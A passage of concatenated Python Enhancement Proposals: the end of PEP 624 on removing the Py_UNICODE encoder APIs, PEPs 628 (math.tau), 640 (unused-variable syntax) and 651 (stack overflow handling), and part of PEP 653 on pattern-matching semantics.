PyUnicode_AsUnicodeEscapeString() PyUnicode_EncodeRawUnicodeEscape() PyUnicode_AsRawUnicodeEscapeString() PyUnicode_EncodeCharmap() PyUnicode_AsCharmapString() (1) PyUnicode_TranslateCharmap() PyUnicode_Translate() PyUnicode_EncodeDecimal() (4) PyUnicode_TransformDecimalToASCII() (4) Notes: const char *errors parameter is missing. There is no public alternative API. But user can use generic PyUnicode_AsEncodedString() instead. const char *errors, int byteorder parameters are missing. There is no direct replacement. But Py_UNICODE_TODECIMAL can be used instead. CPython uses _PyUnicode_TransformDecimalAndSpaceToASCII for converting from Unicode to numbers instead. Plan Remove these APIs in Python 3.11. They have been deprecated already. PyUnicode_Encode() PyUnicode_EncodeASCII() PyUnicode_EncodeLatin1() PyUnicode_EncodeUTF7() PyUnicode_EncodeUTF8() PyUnicode_EncodeUTF16() PyUnicode_EncodeUTF32() PyUnicode_EncodeUnicodeEscape() PyUnicode_EncodeRawUnicodeEscape() PyUnicode_EncodeCharmap() PyUnicode_TranslateCharmap() PyUnicode_EncodeDecimal() PyUnicode_TransformDecimalToASCII() Alternative Ideas Replace Py_UNICODE* with PyObject* As described in the “Alternative APIs” section, some APIs don’t have public alternative APIs accepting PyObject *unicode input. And some public alternative APIs have restrictions like missing errors and byteorder parameters. Instead of removing deprecated APIs, we can reuse their names for alternative public APIs. Since we have private alternative APIs already, it is just renaming from private name to public and deprecated names. Rename to Rename from PyUnicode_EncodeASCII() _PyUnicode_AsASCIIString() PyUnicode_EncodeLatin1() _PyUnicode_AsLatin1String() PyUnicode_EncodeUTF7() _PyUnicode_EncodeUTF7() PyUnicode_EncodeUTF8() _PyUnicode_AsUTF8String() PyUnicode_EncodeUTF16() _PyUnicode_EncodeUTF16() PyUnicode_EncodeUTF32() _PyUnicode_EncodeUTF32() Pros: We have a more consistent API set. Cons: Backward incompatible. We have more public APIs to maintain for rare use cases. Existing public APIs are enough for most use cases, and PyUnicode_AsEncodedString() can be used in other cases. Replace Py_UNICODE* with Py_UCS4* We can replace Py_UNICODE with Py_UCS4 and undeprecate these APIs. UTF-8, UTF-16, UTF-32 encoders support Py_UCS4 internally. So PyUnicode_EncodeUTF8(), PyUnicode_EncodeUTF16(), and PyUnicode_EncodeUTF32() can avoid to create a temporary Unicode object. Pros: We can avoid creating temporary Unicode object when encoding from Py_UCS4* into bytes object with UTF-8, UTF-16, UTF-32 codecs. Cons: Backward incompatible. We have more public APIs to maintain for rare use cases. Other Python implementations that want to support Python/C API need to support these APIs too. If we change the Unicode internal representation to UTF-8 in the future, we need to keep UCS-4 support only for these APIs. Replace Py_UNICODE* with wchar_t* We can replace Py_UNICODE with wchar_t. Since Py_UNICODE is typedef of wchar_t already, this is status quo. On platforms where sizeof(wchar_t) == 4, we can avoid to create a temporary Unicode object when encoding from wchar_t* to bytes objects using UTF-8, UTF-16, and UTF-32 codec, like the “Replace Py_UNICODE* with Py_UCS4*” idea. Pros: Backward compatible. We can avoid creating temporary Unicode object when encode from Py_UCS4* into bytes object with UTF-8, UTF-16, UTF-32 codecs on platform where sizeof(wchar_t) == 4. Cons: Although Windows is the most major platform that uses wchar_t heavily, these APIs need to create a temporary Unicode object always because sizeof(wchar_t) == 2 on Windows. We have more public APIs to maintain for rare use cases. Other Python implementations that want to support Python/C API need to support these APIs too. If we change the Unicode internal representation to UTF-8 in the future, we need to keep UCS-4 support only for these APIs. Rejected Ideas Emit runtime warning In addition to existing compiler warning, emitting runtime DeprecationWarning is suggested. But these APIs doesn’t release GIL for now. Emitting a warning from such APIs is not safe. See this example. PyObject *u = PyList_GET_ITEM(list, i); // u is borrowed reference. PyObject *b = PyUnicode_EncodeUTF8(PyUnicode_AS_UNICODE(u), PyUnicode_GET_SIZE(u), NULL); // Assumes u is still living reference. PyObject *t = PyTuple_Pack(2, u, b); Py_DECREF(b); return t; If we emit Python warning from PyUnicode_EncodeUTF8(), warning filters and other threads may change the list and u can be a dangling reference after PyUnicode_EncodeUTF8() returned. Discussions [python-dev] Plan to remove Py_UNICODE APis except PEP 623 bpo-41123: Remove Py_UNICODE APIs except PEP 623 [python-dev] PEP 624: Remove Py_UNICODE encoder APIs Objections Removing these APIs removes ability to use codec without temporary Unicode. Codecs can not encode Unicode buffer directly without temporary Unicode object since Python 3.3. All these APIs creates temporary Unicode object for now. So removing them doesn’t reduce any abilities. Why not remove decoder APIs too? They are part of stable ABI. PyUnicode_DecodeASCII() and PyUnicode_DecodeUTF8() are used very widely. Deprecating them is not worth enough. Decoder APIs can decode from byte buffer directly, without creating temporary bytes object. On the other hand, encoder APIs can not avoid temporary Unicode object. References [1] Source package list chosen from top 4000 PyPI packages. (https://github.com/methane/notes/blob/master/2020/wchar-cache/package_list.txt) [2] pyodbc – Don’t use PyUnicode_Encode API #792 (https://github.com/mkleehammer/pyodbc/pull/792) Copyright This document is placed in the public domain or under the CC0-1.0-Universal license, whichever is more permissive.

Final

PEP 624 – Remove Py_UNICODE encoder APIs

Standards Track

This PEP proposes to remove deprecated Py_UNICODE encoder APIs in Python 3.11:

PEP 628 – Add math.tau Author: Alyssa Coghlan <ncoghlan at gmail.com> Status: Final Type: Standards Track Created: 28-Jun-2011 Python-Version: 3.6 Post-History: 28-Jun-2011 Table of Contents Abstract PEP Acceptance The Rationale for Tau Other Resources Copyright Abstract In honour of Tau Day 2011, this PEP proposes the addition of the circle constant math.tau to the Python standard library. The concept of tau (τ) is based on the observation that the ratio of a circle’s circumference to its radius is far more fundamental and interesting than the ratio between its circumference and diameter. It is simply a matter of assigning a name to the value 2 * pi (2π). PEP Acceptance This PEP is now accepted and math.tau will be a part of Python 3.6. Happy birthday Alyssa! The idea in this PEP has been implemented in the auspiciously named issue 12345. The Rationale for Tau pi is defined as the ratio of a circle’s circumference to its diameter. However, a circle is defined by its centre point and its radius. This is shown clearly when we note that the parameter of integration to go from a circle’s circumference to its area is the radius, not the diameter. If we use the diameter instead we have to divide by four to get rid of the extraneous multiplier. When working with radians, it is trivial to convert any given fraction of a circle to a value in radians in terms of tau. A quarter circle is tau/4, a half circle is tau/2, seven 25ths is 7*tau/25, etc. In contrast with the equivalent expressions in terms of pi (pi/2, pi, 14*pi/25), the unnecessary and needlessly confusing multiplication by two is gone. Other Resources I’ve barely skimmed the surface of the many examples put forward to point out just how much easier and more sensible many aspects of mathematics become when conceived in terms of tau rather than pi. If you don’t find my specific examples sufficiently persuasive, here are some more resources that may be of interest: Michael Hartl is the primary instigator of Tau Day in his Tau Manifesto Bob Palais, the author of the original mathematics journal article highlighting the problems with pi has a page of resources on the topic For those that prefer videos to written text, Pi is wrong! and Pi is (still) wrong are available on YouTube Copyright This document has been placed in the public domain.

Final

PEP 628 – Add math.tau

Standards Track

In honour of Tau Day 2011, this PEP proposes the addition of the circle constant math.tau to the Python standard library.

PEP 640 – Unused variable syntax Author: Thomas Wouters <thomas at python.org> Status: Rejected Type: Standards Track Created: 04-Oct-2020 Python-Version: 3.10 Post-History: 19-Oct-2020 Resolution: Python-Dev message Table of Contents Rejection Note Abstract Motivation Rationale Specification Backwards Compatibility How to Teach This Reference Implementation Rejected Ideas Open Issues Copyright Rejection Note Rejected by the Steering Council: https://mail.python.org/archives/list/python-dev@python.org/message/SQC2FTLFV5A7DV7RCEAR2I2IKJKGK7W3/ Abstract This PEP proposes new syntax for unused variables, providing a pseudo-name that can be assigned to but not otherwise used. The assignment doesn’t actually happen, and the value is discarded instead. Motivation In Python it is somewhat common to need to do an assignment without actually needing the result. Conventionally, people use either "_" or a name such as "unused" (or with "unused" as a prefix) for this. It’s most common in unpacking assignments: x, unused, z = range(3) x, *unused, z = range(10) It’s also used in for loops and comprehensions: for unused in range(10): ... [ SpamObject() for unused in range(10) ] The use of "_" in these cases is probably the most common, but it potentially conflicts with the use of "_" in internationalization, where a call like gettext.gettext() is bound to "_" and used to mark strings for translation. In the proposal to add Pattern Matching to Python (originally PEP 622, now split into PEP 634, PEP 635 and PEP 636), "_" has an additional special meaning. It is a wildcard pattern, used in places where variables could be assigned to, to indicate anything should be matched but not assigned to anything. The choice of "_" there matches the use of "_" in other languages, but the semantic difference with "_" elsewhere in Python is significant. This PEP proposes to allow a special token, "?", to be used instead of any valid name in assignment. This has most of the benefits of "_" without affecting other uses of that otherwise regular variable. Allowing the use of the same wildcard pattern would make pattern matching and unpacking assignment more consistent with each other. Rationale Marking certain variables as unused is a useful tool, as it helps clarity of purpose of the code. It makes it obvious to readers of the code as well as automated linters, that a particular variable is intentionally unused. However, despite the convention, "_" is not a special variable. The value is still assigned to, the object it refers to is still kept alive until the end of the scope, and it can still be used. Nor is the use of "_" for unused variables entirely ubiquitous, since it conflicts with conventional internationalization, it isn’t obvious that it is a regular variable, and it isn’t as obviously unused like a variable named "unused". In the Pattern Matching proposal, the use of "_" for wildcard patterns side-steps the problems of "_" for unused variables by virtue of it being in a separate scope. The only conflict it has with internationalization is one of potential confusion, it will not actually interact with uses of a global variable called "_". However, the special-casing of "_" for this wildcard pattern purpose is still problematic: the different semantics and meaning of "_" inside pattern matching and outside of it means a break in consistency in Python. Introducing "?" as special syntax for unused variables both inside and outside pattern matching allows us to retain that consistency. It avoids the conflict with internationalization or any other uses of _ as a variable. It makes unpacking assignment align more closely with pattern matching, making it easier to explain pattern matching as an extension of unpacking assignment. In terms of code readability, using a special token makes it easier to find out what it means ("what does question mark in Python do" versus "why is my _ variable not getting assigned to"), and makes it more obvious that the actual intent is for the value to be unused – since it is entirely impossible to use it. Specification A new token is introduced, "?", or token.QMARK. The grammar is modified to allow "?" in assignment contexts (star_atom and t_atom in the current grammar), creating a Name AST node with identifier set to NULL. The AST is modified to allow the Name expression’s identifier to be optional (it is currently required). The identifier being empty would only be allowed in a STORE context. In CPython, the bytecode compiler is modified to emit POP_TOP instead of STORE_NAME for Name nodes with no identifier. Other uses of the Name node are updated to handle the identifier being empty, as appropriate. The uses of the modified grammar nodes encompass at least the following forms of assignment: ? = ... x, ?, z = ... x, *?, z = ... for ? in range(3): ... # including comprehension forms for x, ?, z in matrix: ... # including comprehension forms with open(f) as ?: ... with func() as (x, ?, z): ... The use of a single "?", not in an unpacking context, is allowed in normal assignment and the with statement. It doesn’t really make sense on its own, and it is possible to disallow those specific cases. However, for ? in range(3) clearly has its uses, so for consistency reasons if nothing else it seems more sensible to allow the use of the single "?" in other cases. Using "?" in augmented assignment (? *= 2) is not allowed, since "?" can only be used for assignment. Having multiple occurrences of "?" is valid, just like when assigning to names, and the assignments do not interfere with each other. Backwards Compatibility Introducing a new token means there are no backward compatibility concerns. No valid syntax changes meaning. "?" is not considered an identifier, so str.isidentifier() does not change. The AST does change in an incompatible way, as the identifier of a Name token can now be empty. Code using the AST will have to be adjusted accordingly. How to Teach This "?" can be introduced along with unpacking assignment, explaining it is special syntax for ‘unused’ and mentioning that it can also be used in other places. Alternatively, it could be introduced as part of an explanation on assignment in for loops, showing an example where the loop variable is unused. PEP 636 discusses how to teach "_", and can simply replace "_" with "?", perhaps noting that "?" is similarly usable in other contexts. Reference Implementation A prototype implementation exists at <https://github.com/Yhg1s/cpython/tree/nonassign>. Rejected Ideas Open Issues Should "?" be allowed in the following contexts: # imports done for side-effect only. import os as ? from os import path as ? # Function defined for side-effects only (e.g. decorators) @register_my_func def ?(...): ... # Class defined for side-effects only (e.g. decorators, __init_subclass__) class ?(...): ... # Parameters defined for unused positional-only arguments: def f(a, ?, ?): ... lambda a, ?, ?: ... # Unused variables with type annotations: ?: int = f() # Exception handling: try: ... except Exception as ?: ... # With blocks: with open(f) as ?: ... Some of these may seem to make sense from a consistency point of view, but practical uses are limited and dubious. Type annotations on "?" and using it with except and with do not seem to make any sense. In the reference implementation, except is not supported (the existing syntax only allows a name) but with is (by virtue of the existing syntax supporting unpacking assignment). Should this PEP be accepted even if pattern matching is rejected? Copyright This document is placed in the public domain or under the CC0-1.0-Universal license, whichever is more permissive.

Rejected

PEP 640 – Unused variable syntax

Standards Track

This PEP proposes new syntax for unused variables, providing a pseudo-name that can be assigned to but not otherwise used. The assignment doesn’t actually happen, and the value is discarded instead.

PEP 651 – Robust Stack Overflow Handling Author: Mark Shannon <mark at hotpy.org> Status: Rejected Type: Standards Track Created: 18-Jan-2021 Post-History: 19-Jan-2021 Table of Contents Rejection Notice Abstract Motivation Rationale Specification StackOverflow exception RecursionOverflow exception Decoupling the Python stack from the C stack Other Implementations C-API Py_CheckStackDepth() Py_EnterRecursiveCall() PyLeaveRecursiveCall() Backwards Compatibility Security Implications Performance Impact Implementation Monitoring C stack consumption Making Python-to-Python calls without consuming the C stack Rejected Ideas Open Issues Copyright Rejection Notice This PEP has been rejected by the Python Steering Council. Abstract This PEP proposes that Python should treat machine stack overflow differently from runaway recursion. This would allow programs to set the maximum recursion depth to fit their needs and provide additional safety guarantees. If this PEP is accepted, then the following program will run safely to completion: sys.setrecursionlimit(1_000_000) def f(n): if n: f(n-1) f(500_000) and the following program will raise a StackOverflow, without causing a VM crash: sys.setrecursionlimit(1_000_000) class X: def __add__(self, other): return self + other X() + 1 Motivation CPython uses a single recursion depth counter to prevent both runaway recursion and C stack overflow. However, runaway recursion and machine stack overflow are two different things. Allowing machine stack overflow is a potential security vulnerability, but limiting recursion depth can prevent the use of some algorithms in Python. Currently, if a program needs to deeply recurse it must manage the maximum recursion depth allowed, hopefully managing to set it in the region between the minimum needed to run correctly and the maximum that is safe to avoid a memory protection error. By separating the checks for C stack overflow from checks for recursion depth, pure Python programs can run safely, using whatever level of recursion they require. Rationale CPython currently relies on a single limit to guard against potentially dangerous stack overflow in the virtual machine and to guard against run away recursion in the Python program. This is a consequence of the implementation which couples the C and Python call stacks. By breaking this coupling, we can improve both the usability of CPython and its safety. The recursion limit exists to protect against runaway recursion, the integrity of the virtual machine should not depend on it. Similarly, recursion should not be limited by implementation details. Specification Two new exception classes will be added, StackOverflow and RecursionOverflow, both of which will be sub-classes of RecursionError StackOverflow exception A StackOverflow exception will be raised whenever the interpreter or builtin module code determines that the C stack is at or nearing a limit of safety. StackOverflow is a sub-class of RecursionError, so any code that handles RecursionError will handle StackOverflow RecursionOverflow exception A RecursionOverflow exception will be raised when a call to a Python function causes the recursion limit to be exceeded. This is a slight change from current behavior which raises a RecursionError. RecursionOverflow is a sub-class of RecursionError, so any code that handles RecursionError will continue to work as before. Decoupling the Python stack from the C stack In order to provide the above guarantees and ensure that any program that worked previously continues to do so, the Python and C stack will need to be separated. That is, calls to Python functions from Python functions, should not consume space on the C stack. Calls to and from builtin functions will continue to consume space on the C stack. The size of the C stack will be implementation defined, and may vary from machine to machine. It may even differ between threads. However, there is an expectation that any code that could run with the recursion limit set to the previous default value, will continue to run. Many operations in Python perform some sort of call at the C level. Most of these will continue to consume C stack, and will result in a StackOverflow exception if uncontrolled recursion occurs. Other Implementations Other implementations are required to fail safely regardless of what value the recursion limit is set to. If the implementation couples the Python stack to the underlying VM or hardware stack, then it should raise a RecursionOverflow exception when the recursion limit is exceeded, but the underlying stack does not overflow. If the underlying stack overflows, or is near to overflow, then a StackOverflow exception should be raised. C-API A new function, Py_CheckStackDepth() will be added, and the behavior of Py_EnterRecursiveCall() will be modified slightly. Py_CheckStackDepth() int Py_CheckStackDepth(const char *where) will return 0 if there is no immediate danger of C stack overflow. It will return -1 and set an exception, if the C stack is near to overflowing. The where parameter is used in the exception message, in the same fashion as the where parameter of Py_EnterRecursiveCall(). Py_EnterRecursiveCall() Py_EnterRecursiveCall() will be modified to call Py_CheckStackDepth() before performing its current function. PyLeaveRecursiveCall() Py_LeaveRecursiveCall() will remain unchanged. Backwards Compatibility This feature is fully backwards compatible at the Python level. Some low-level tools, such as machine-code debuggers, will need to be modified. For example, the gdb scripts for Python will need to be aware that there may be more than one Python frame per C frame. C code that uses the Py_EnterRecursiveCall(), PyLeaveRecursiveCall() pair of functions will continue to work correctly. In addition, Py_EnterRecursiveCall() may raise a StackOverflow exception. New code should use the Py_CheckStackDepth() function, unless the code wants to count as a Python function call with regard to the recursion limit. We recommend that “python-like” code, such as Cython-generated functions, use Py_EnterRecursiveCall(), but other code use Py_CheckStackDepth(). Security Implications It will no longer be possible to crash the CPython virtual machine through recursion. Performance Impact It is unlikely that the performance impact will be significant. The additional logic required will probably have a very small negative impact on performance. The improved locality of reference from reduced C stack use should have some small positive impact. It is hard to predict whether the overall effect will be positive or negative, but it is quite likely that the net effect will be too small to be measured. Implementation Monitoring C stack consumption Gauging whether a C stack overflow is imminent is difficult. So we need to be conservative. We need to determine a safe bounds for the stack, which is not something possible in portable C code. For major platforms, the platform specific API will be used to provide an accurate stack bounds. However, for minor platforms some amount of guessing may be required. While this might sound bad, it is no worse than the current situation, where we guess that the size of the C stack is at least 1000 times the stack space required for the chain of calls from _PyEval_EvalFrameDefault to _PyEval_EvalFrameDefault. This means that in some cases the amount of recursion possible may be reduced. In general, however, the amount of recursion possible should be increased, as many calls will use no C stack. Our general approach to determining a limit for the C stack is to get an address within the current C frame, as early as possible in the call chain. The limit can then be guessed by adding some constant to that. Making Python-to-Python calls without consuming the C stack Calls in the interpreter are handled by the CALL_FUNCTION, CALL_FUNCTION_KW, CALL_FUNCTION_EX and CALL_METHOD instructions. The code for those instructions will be modified so that when a Python function or method is called, instead of making a call in C, the interpreter will setup the callee’s frame and continue interpretation as normal. The RETURN_VALUE instruction will perform the reverse operation, except when the current frame is the entry frame of the interpreter when it will return as normal. Rejected Ideas None, as yet. Open Issues None, as yet. Copyright This document is placed in the public domain or under the CC0-1.0-Universal license, whichever is more permissive.

Rejected

PEP 651 – Robust Stack Overflow Handling

Standards Track

This PEP proposes that Python should treat machine stack overflow differently from runaway recursion.

PEP 653 – Precise Semantics for Pattern Matching Author: Mark Shannon <mark at hotpy.org> Status: Draft Type: Standards Track Created: 09-Feb-2021 Post-History: 18-Feb-2021 Table of Contents Abstract Motivation Precise semantics Improved control over class matching Robustness Efficient implementation Rationale Specification Additions to the object model Semantics of the matching process Preamble Capture patterns Wildcard patterns Literal Patterns Value Patterns Sequence Patterns Mapping Patterns Class Patterns Nested patterns Guards Non-conforming special attributes Values of the special attributes for classes in the standard library Legal optimizations Security Implications Implementation Possible optimizations Splitting evaluation into lanes Sequence patterns Mapping patterns Summary of differences between this PEP and PEP 634 Rejected Ideas Using attributes from the instance’s dictionary Lookup of __match_args__ on the subject not the pattern Combining __match_class__ and __match_container__ into a single value Deferred Ideas Having a separate value to reject all class matches Code examples Copyright Abstract This PEP proposes a semantics for pattern matching that respects the general concept of PEP 634, but is more precise, easier to reason about, and should be faster. The object model will be extended with two special (dunder) attributes, __match_container__ and __match_class__, in addition to the __match_args__ attribute from PEP 634, to support pattern matching. Both of these new attributes must be integers and __match_args__ is required to be a tuple of unique strings. With this PEP: The semantics of pattern matching will be clearer, so that patterns are easier to reason about. It will be possible to implement pattern matching in a more efficient fashion. Pattern matching will be more usable for complex classes, by allowing classes some more control over which patterns they match. Motivation Pattern matching in Python, as described in PEP 634, is to be added to Python 3.10. Unfortunately, PEP 634 is not as precise about the semantics as it could be, nor does it allow classes sufficient control over how they match patterns. Precise semantics PEP 634 explicitly includes a section on undefined behavior. Large amounts of undefined behavior may be acceptable in a language like C, but in Python it should be kept to a minimum. Pattern matching in Python can be defined more precisely without losing expressiveness or performance. Improved control over class matching PEP 634 delegates the decision over whether a class is a sequence or mapping to collections.abc. Not all classes that could be considered sequences are registered as subclasses of collections.abc.Sequence. This PEP allows them to match sequence patterns, without the full collections.abc.Sequence machinery. PEP 634 privileges some builtin classes with a special form of matching, the “self” match. For example the pattern list(x) matches a list and assigns the list to x. By allowing classes to choose which kinds of pattern they match, other classes can use this form as well. For example, using sympy, we might want to write: # a*a == a**2 case Mul(args=[Symbol(a), Symbol(b)]) if a == b: return Pow(a, 2) Which requires the sympy class Symbol to “self” match. For sympy to support this pattern with PEP 634 is possible, but a bit tricky. With this PEP it can be implemented very easily [1]. Robustness With this PEP, access to attributes during pattern matching becomes well defined and deterministic. This makes pattern matching less error prone when matching objects with hidden side effects, such as object-relational mappers. Objects will have more control over their own deconstruction, which can help prevent unintended consequences should attribute access have side-effects. PEP 634 relies on the collections.abc module when determining which patterns a value can match, implicitly importing it if necessary. This PEP will eliminate surprising import errors and misleading audit events from those imports. Efficient implementation The semantics proposed in this PEP will allow efficient implementation, partly as a result of having precise semantics and partly from using the object model. With precise semantics, it is possible to reason about what code transformations are correct, and thus apply optimizations effectively. Because the object model is a core part of Python, implementations already handle special attribute lookup efficiently. Looking up a special attribute is much faster than performing a subclass test on an abstract base class. Rationale The object model and special methods are at the core of the Python language. Consequently, implementations support them well. Using special attributes for pattern matching allows pattern matching to be implemented in a way that integrates well with the rest of the implementation, and is thus easier to maintain and is likely to perform better. A match statement performs a sequence of pattern matches. In general, matching a pattern has three parts: Can the value match this kind of pattern? When deconstructed, does the value match this particular pattern? Is the guard true? To determine whether a value can match a particular kind of pattern, we add the __match_container__ and __match_class__ attributes. This allows the kind of a value to be determined in a efficient fashion. Specification Additions to the object model The __match_container__ and __match_class__ attributes will be added to object. __match_container__ should be overridden by classes that want to match mapping or sequence patterns. __match_class__ should be overridden by classes that want to change the default behavior when matching class patterns. __match_container__ must be an integer and should be exactly one of these: 0 MATCH_SEQUENCE = 1 MATCH_MAPPING = 2 MATCH_SEQUENCE is used to indicate that instances of the class can match sequence patterns. MATCH_MAPPING is used to indicate that instances of the class can match mapping patterns. __match_class__ must be an integer and should be exactly one of these: 0 MATCH_SELF = 8 MATCH_SELF is used to indicate that for a single positional argument class pattern, the subject will be used and not deconstructed. Note In the rest of this document, we will refer to the above values by name only. Symbolic constants will be provided both for Python and C, and the values will never be changed. object will have the following values for the special attributes: __match_container__ = 0 __match_class__= 0 __match_args__ = () These special attributes will be inherited as normal. If __match_args__ is overridden, then it is required to hold a tuple of unique strings. It may be empty. Note __match_args__ will be automatically generated for dataclasses and named tuples, as specified in PEP 634. The pattern matching implementation is not required to check that any of these attributes behave as specified. If the value of __match_container__, __match_class__ or __match_args__ is not as specified, then the implementation may raise any exception, or match the wrong pattern. Of course, implementations are free to check these properties and provide meaningful error messages if they can do so efficiently. Semantics of the matching process In the following, all variables of the form $var are temporary variables and are not visible to the Python program. They may be visible via introspection, but that is an implementation detail and should not be relied on. The pseudo-statement FAIL is used to signify that matching failed for this pattern and that matching should move to the next pattern. If control reaches the end of the translation without reaching a FAIL, then it has matched, and following patterns are ignored. Variables of the form $ALL_CAPS are meta-variables holding a syntactic element, they are not normal variables. So, $VARS = $items is not an assignment of $items to $VARS, but an unpacking of $items into the variables that $VARS holds. For example, with the abstract syntax case [$VARS]:, and the concrete syntax case[a, b]: then $VARS would hold the variables (a, b), not the values of those variables. The pseudo-function QUOTE takes a variable and returns the name of that variable. For example, if the meta-variable $VAR held the variable foo then QUOTE($VAR) == "foo". All additional code listed below that is not present in the original source will not trigger line events, conforming to PEP 626. Preamble Before any patterns are matched, the expression being matched is evaluated: match expr: translates to: $value = expr Capture patterns Capture patterns always match, so the irrefutable match: case capture_var: translates to: capture_var = $value Wildcard patterns Wildcard patterns always match, so: case _: translates to: # No code -- Automatically matches Literal Patterns The literal pattern: case LITERAL: translates to: if $value != LITERAL: FAIL except when the literal is one of None, True or False , when it translates to: if $value is not LITERAL: FAIL Value Patterns The value pattern: case value.pattern: translates to: if $value != value.pattern: FAIL Sequence Patterns A pattern not including a star pattern: case [$VARS]: translates to: $kind = type($value).__match_container__ if $kind != MATCH_SEQUENCE: FAIL if len($value) != len($VARS): FAIL $VARS = $value Example: [2] A pattern including a star pattern: case [$VARS] translates to: $kind = type($value).__match_container__ if $kind != MATCH_SEQUENCE: FAIL if len($value) < len($VARS): FAIL $VARS = $value # Note that $VARS includes a star expression. Example: [3] Mapping Patterns A pattern not including a double-star pattern: case {$KEYWORD_PATTERNS}: translates to: $sentinel = object() $kind = type($value).__match_container__ if $kind != MATCH_MAPPING: FAIL # $KEYWORD_PATTERNS is a meta-variable mapping names to variables. for $KEYWORD in $KEYWORD_PATTERNS: $tmp = $value.get(QUOTE($KEYWORD), $sentinel) if $tmp is $sentinel: FAIL $KEYWORD_PATTERNS[$KEYWORD] = $tmp Example: [4] A pattern including a double-star pattern: case {$KEYWORD_PATTERNS, **$DOUBLE_STARRED_PATTERN}: translates to: $kind = type($value).__match_container__ if $kind != MATCH_MAPPING: FAIL # $KEYWORD_PATTERNS is a meta-variable mapping names to variables. $tmp = dict($value) if not $tmp.keys() >= $KEYWORD_PATTERNS.keys(): FAIL: for $KEYWORD in $KEYWORD_PATTERNS: $KEYWORD_PATTERNS[$KEYWORD] = $tmp.pop(QUOTE($KEYWORD)) $DOUBLE_STARRED_PATTERN = $tmp Example: [5] Class Patterns Class pattern with no arguments: case ClsName(): translates to: if not isinstance($value, ClsName): FAIL Class pattern with a single positional pattern: case ClsName($VAR): translates to: $kind = type($value).__match_class__ if $kind == MATCH_SELF: if not isinstance($value, ClsName): FAIL $VAR = $value else: As other positional-only class pattern Positional-only class pattern: case ClsName($VARS): translates to: if not isinstance($value, ClsName): FAIL $attrs = ClsName.__match_args__ if len($attr) < len($VARS): raise TypeError(...) try: for i, $VAR in enumerate($VARS): $VAR = getattr($value, $attrs[i]) except AttributeError: FAIL Example: [6] Class patterns with all keyword patterns: case ClsName($KEYWORD_PATTERNS): translates to: if not isinstance($value, ClsName): FAIL try: for $KEYWORD in $KEYWORD_PATTERNS: $tmp = getattr($value, QUOTE($KEYWORD)) $KEYWORD_PATTERNS[$KEYWORD] = $tmp except AttributeError: FAIL Example: [7] Class patterns with positional and keyword patterns: case ClsName($VARS, $KEYWORD_PATTERNS): translates to: if not isinstance($value, ClsName): FAIL $attrs = ClsName.__match_args__ if len($attr) < len($VARS): raise TypeError(...) $pos_attrs = $attrs[:len($VARS)] try: for i, $VAR in enumerate($VARS): $VAR = getattr($value, $attrs[i]) for $KEYWORD in $KEYWORD_PATTERNS: $name = QUOTE($KEYWORD) if $name in pos_attrs: raise TypeError(...) $KEYWORD_PATTERNS[$KEYWORD] = getattr($value, $name) except AttributeError: FAIL Example: [8] Nested patterns The above specification assumes that patterns are not nested. For nested patterns the above translations are applied recursively by introducing temporary capture patterns. For example, the pattern: case [int(), str()]: translates to: $kind = type($value).__match_class__ if $kind != MATCH_SEQUENCE: FAIL if len($value) != 2: FAIL $value_0, $value_1 = $value #Now match on temporary values if not isinstance($value_0, int): FAIL if not isinstance($value_1, str): FAIL Guards Guards translate to a test following the rest of the translation: case pattern if guard: translates to: [translation for pattern] if not guard: FAIL Non-conforming special attributes All classes should ensure that the the values of __match_container__, __match_class__ and __match_args__ follow the specification. Therefore, implementations can assume, without checking, that the following are true: __match_container__ == 0 or __match_container__ == MATCH_SEQUENCE or __match_container__ == MATCH_MAPPING __match_class__ == 0 or __match_class__ == MATCH_SELF and that __match_args__ is a tuple of unique strings. Values of the special attributes for classes in the standard library For the core builtin container classes __match_container__ will be: list: MATCH_SEQUENCE tuple: MATCH_SEQUENCE dict: MATCH_MAPPING bytearray: 0 bytes: 0 str: 0 Named tuples will have __match_container__ set to MATCH_SEQUENCE. All other standard library classes for which issubclass(cls, collections.abc.Mapping) is true will have __match_container__ set to MATCH_MAPPING. All other standard library classes for which issubclass(cls, collections.abc.Sequence) is true will have __match_container__ set to MATCH_SEQUENCE. For the following builtin classes __match_class__ will be set to MATCH_SELF: bool bytearray bytes float frozenset int set str list tuple dict Legal optimizations The above semantics implies a lot of redundant effort and copying in the implementation. However, it is possible to implement the above semantics efficiently by employing semantic preserving transformations on the naive implementation. When performing matching, implementations are allowed to treat the following functions and methods as pure: For any class supporting MATCH_SEQUENCE: * ``cls.__len__()`` * ``cls.__getitem__()`` For any class supporting MATCH_MAPPING: * ``cls.get()`` (Two argument form only) Implementations are allowed to make the following assumptions: isinstance(obj, cls) can be freely replaced with issubclass(type(obj), cls) and vice-versa. isinstance(obj, cls) will always return the same result for any (obj, cls) pair and repeated calls can thus be elided. Reading any of __match_container__, __match_class__ or __match_args__ is a pure operation, and may be cached. Sequences, that is any class for which __match_container__ == MATCH_SEQUENCE is not zero, are not modified by iteration, subscripting or calls to len(). Consequently, those operations can be freely substituted for each other where they would be equivalent when applied to an immutable sequence. Mappings, that is any class for which __match_container__ == MATCH_MAPPING is not zero, will not capture the second argument of the get() method. So, the $sentinel value may be freely re-used. In fact, implementations are encouraged to make these assumptions, as it is likely to result in significantly better performance. Security Implications None. Implementation The naive implementation that follows from the specification will not be very efficient. Fortunately, there are some reasonably straightforward transformations that can be used to improve performance. Performance should be comparable to the implementation of PEP 634 (at time of writing) by the release of 3.10. Further performance improvements may have to wait for the 3.11 release. Possible optimizations The following is not part of the specification, but guidelines to help developers create an efficient implementation. Splitting evaluation into lanes Since the first step in matching each pattern is check to against the kind, it is possible to combine all the checks against kind into a single multi-way branch at the beginning of the match. The list of cases can then be duplicated into several “lanes” each corresponding to one kind. It is then trivial to remove unmatchable cases from each lane. Depending on the kind, different optimization strategies are possible for each lane. Note that the body of the match clause does not need to be duplicated, just the pattern. Sequence patterns This is probably the most complex to optimize and the most profitable in terms of performance. Since each pattern can only match a range of lengths, often only a single length, the sequence of tests can be rewritten in as an explicit iteration over the sequence, attempting to match only those patterns that apply to that sequence length. For example: case []: A case [x]: B case [x, y]: C case other: D Can be compiled roughly as: # Choose lane $i = iter($value) for $0 in $i: break else: A goto done for $1 in $i: break else: x = $0 B goto done for $2 in $i: del $0, $1, $2 break else: x = $0 y = $1 C goto done other = $value D done: Mapping patterns The best strategy here is probably to form a decision tree based on the size of the mapping and which keys are present. There is no point repeatedly testing for the presence of a key. For example: match obj: case {a:x, b:y}: W case {a:x, c:y}: X case {a:x, b:_, c:y}: Y case other: Z If the key "a" is not present when checking for case X, there is no need to check it again for Y. The mapping lane can be implemented, roughly as: # Choose lane if 